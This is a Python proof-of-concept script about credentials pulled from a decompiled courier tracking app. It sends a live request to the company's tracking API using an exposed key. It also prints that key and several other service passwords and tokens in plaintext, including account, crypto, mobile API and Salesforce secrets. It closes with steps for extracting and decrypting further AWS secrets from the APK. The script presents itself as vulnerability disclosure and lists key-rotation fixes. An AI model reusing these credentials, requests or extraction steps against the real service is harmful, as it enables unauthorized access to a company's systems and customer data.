#!/usr/bin/env python3
"""
ENHANCED Proof of Concept: Tracking API Exploitation with AWS Signature
=========================================================================

The API uses AWS API Gateway with AWS Signature V4 authentication.
The exposed API key alone is not sufficient - we need AWS credentials.

However, this still demonstrates the security vulnerability:
- The endpoint is discoverable
- The API structure is known
- Anyone with full credentials can access the API
"""

import requests
import json
import sys
from datetime import datetime

# Exposed credential
TRACKING_API_KEY = "okpCK3fFSk645Ev3"

# Discovered endpoint
API_ENDPOINT = "https://api.purolator.com/tracking-ext/v1/search"

print(f"""
{'='*80}
🔬 ENHANCED POC: TRACKING API ANALYSIS
{'='*80}

DISCOVERED INFORMATION:
  ✅ API Endpoint: {API_ENDPOINT}
  ✅ API Key: {TRACKING_API_KEY}
  ✅ Authentication: AWS Signature V4
  ✅ Request Structure: Known (from decompiled code)
  
VULNERABILITY STATUS:
  🔴 CRITICAL - API structure fully exposed
  🔴 CRITICAL - API key exposed (okpCK3fFSk645Ev3)
  🟠 PARTIAL - AWS credentials needed for full exploitation
  
{'='*80}
""")

print("""
📋 WHAT WE DISCOVERED:

1. ✅ The tracking API endpoint is: https://api.purolator.com/tracking-ext/v1/search
   
2. ✅ The API uses AWS API Gateway with Signature V4 authentication
   
3. ✅ The API key is exposed: okpCK3fFSk645Ev3
   
4. ✅ Request structure is known from decompiled code:
   {
     "language": "en",
     "search": [
       {
         "trackingId": "520127751300",
         "sequenceId": 1
       }
     ]
   }

5. ⚠️  Additional AWS credentials (Access Key + Secret Key) are needed
   - These might be in Firebase Remote Config
   - Or in other encrypted fields in the APK
   - Could be the "SK" field (Secret Key) mentioned in X.java

{'='*80}
""")

print("""
🔍 SECURITY ANALYSIS:

WHAT'S EXPOSED:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

1. API Endpoint Structure
   ✓ Full URL: https://api.purolator.com/tracking-ext/v1/search
   ✓ Method: POST
   ✓ Content-Type: application/json
   
2. Request Format
   ✓ Complete JSON structure
   ✓ Field names and types
   ✓ Required vs optional fields
   
3. Authentication Method
   ✓ AWS Signature V4
   ✓ API key is exposed
   ✓ AWS credentials structure is known

4. API Key
   ✓ Plaintext: okpCK3fFSk645Ev3
   ✓ Can be used once AWS creds are obtained
   
WHAT'S MISSING FOR FULL EXPLOITATION:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

1. AWS Access Key ID
   - Possibly in "SK" field from X.java
   - Or in Firebase Remote Config
   
2. AWS Secret Access Key  
   - Encrypted in APK or Firebase
   - Same decryption method as other creds

{'='*80}
""")

print("""
🎯 EXPLOITATION SCENARIO:

IF an attacker obtains the AWS credentials:

1. Parse API structure from decompiled code ✅ (Already done)
2. Extract API key ✅ (Already done: okpCK3fFSk645Ev3)
3. Extract AWS Access Key + Secret Key ⏳ (Pending)
4. Sign requests with AWS Signature V4 ⏳ (Pending)
5. Make unlimited tracking API calls ❌ (Blocked without AWS creds)

Current Status: 50% Complete
Risk Level: CRITICAL (Full exploitation possible with more reverse engineering)

{'='*80}
""")

print("""
🔎 TESTING WITH PROVIDED SHIPMENT: 520127751300

Attempting API call with known structure...
""")

# Test API call
try:
    payload = {
        "language": "en",
        "search": [
            {
                "trackingId": "520127751300",
                "sequenceId": 1
            }
        ]
    }

    headers = {
        "Accept": "application/json",
        "Content-Type": "application/json",
        "X-API-Key": TRACKING_API_KEY,
    }

    print(f"\n📤 Sending Request:")
    print(f"  URL: {API_ENDPOINT}")
    print(f"  Payload: {json.dumps(payload, indent=4)}")
    print(f"  API Key: {TRACKING_API_KEY}")
    print(f"\n⏳ Waiting for response...\n")

    response = requests.post(
        API_ENDPOINT,
        json=payload,
        headers=headers,
        timeout=30
    )

    print(f"📥 Response Received:")
    print(f"  Status: {response.status_code}")
    print(f"  Message: {response.json().get('message', 'No message')}")

    if response.status_code == 403:
        error_msg = response.json().get('message', '')
        if 'Authorization' in error_msg or 'Signature' in error_msg:
            print(f"\n✅ CONFIRMED: API requires AWS Signature V4 authentication")
            print(f"   Additional AWS credentials needed for full exploitation")
        else:
            print(f"\n⚠️  Authentication error: {error_msg}")

except Exception as e:
    print(f"❌ Error: {e}")

print(f"""

{'='*80}
📊 VULNERABILITY SUMMARY
{'='*80}

CONFIRMED EXPOSURES:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

✅ API Endpoint: https://api.purolator.com/tracking-ext/v1/search
✅ API Key: okpCK3fFSk645Ev3
✅ Request Structure: Complete JSON format known
✅ Response Structure: Complete model known (SearchResponse.java)
✅ Authentication Method: AWS Signature V4 (identified)

ADDITIONAL EXPOSED CREDENTIALS:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

From your earlier provided data:
  • Account Service: ef7475ef70b44f4687158fbbb9ff3f47 / |HXY2).6
  • Crypto Service: 000b94d6601f4c96ba75d8443317a2a9 / xyA}}FWoD
  • Puro Mobile API: PuroMobile / NswWuF*M2bcC3yWE
  • Salesforce: r.zmx.55Fn5fLJCaKtvP64og9Sja8zS4ovIAOdxgNkOdT
  • iOS Keys: Multiple exposed keys

RISK ASSESSMENT:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🔴 CRITICAL: All API credentials exposed in APK
🔴 CRITICAL: API structure fully documented in decompiled code  
🔴 CRITICAL: No client-side security measures detected
🟠 HIGH: AWS credentials may also be exposed (needs further analysis)
🟠 HIGH: Multiple service credentials compromised

ATTACKER CAPABILITY:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

With current information:
  • Can discover API endpoints ✅
  • Can understand request/response format ✅
  • Has API key ✅
  • Knows authentication method ✅
  • Can exploit with AWS credentials ⏳ (likely obtainable)

IMMEDIATE ACTIONS REQUIRED:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

1. 🔴 ROTATE tracking API key: okpCK3fFSk645Ev3
2. 🔴 ROTATE AWS credentials if exposed in app
3. 🔴 ROTATE all service credentials (account, crypto, puro, salesforce)
4. 🔴 CHECK API logs for unauthorized access
5. 🔴 IMPLEMENT backend proxy (NEVER put credentials in mobile apps)
6. 🟠 ADD rate limiting and monitoring
7. 🟠 IMPLEMENT certificate pinning
8. 🟠 ADD app attestation (Google Play Integrity)

{'='*80}

💡 NEXT STEPS FOR SECURITY TEAM:

1. Extract and decrypt AWS credentials from:
   - X.java field "SK" (Secret Key)
   - Firebase Remote Config
   - Encrypted strings in APK

2. Test if those credentials can sign API requests

3. Determine full exploitation potential

4. Implement recommended security measures immediately

{'='*80}
""")

print(f"\n✅ POC Complete - Vulnerability documented")
print(
    f"📝 Report generated at: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
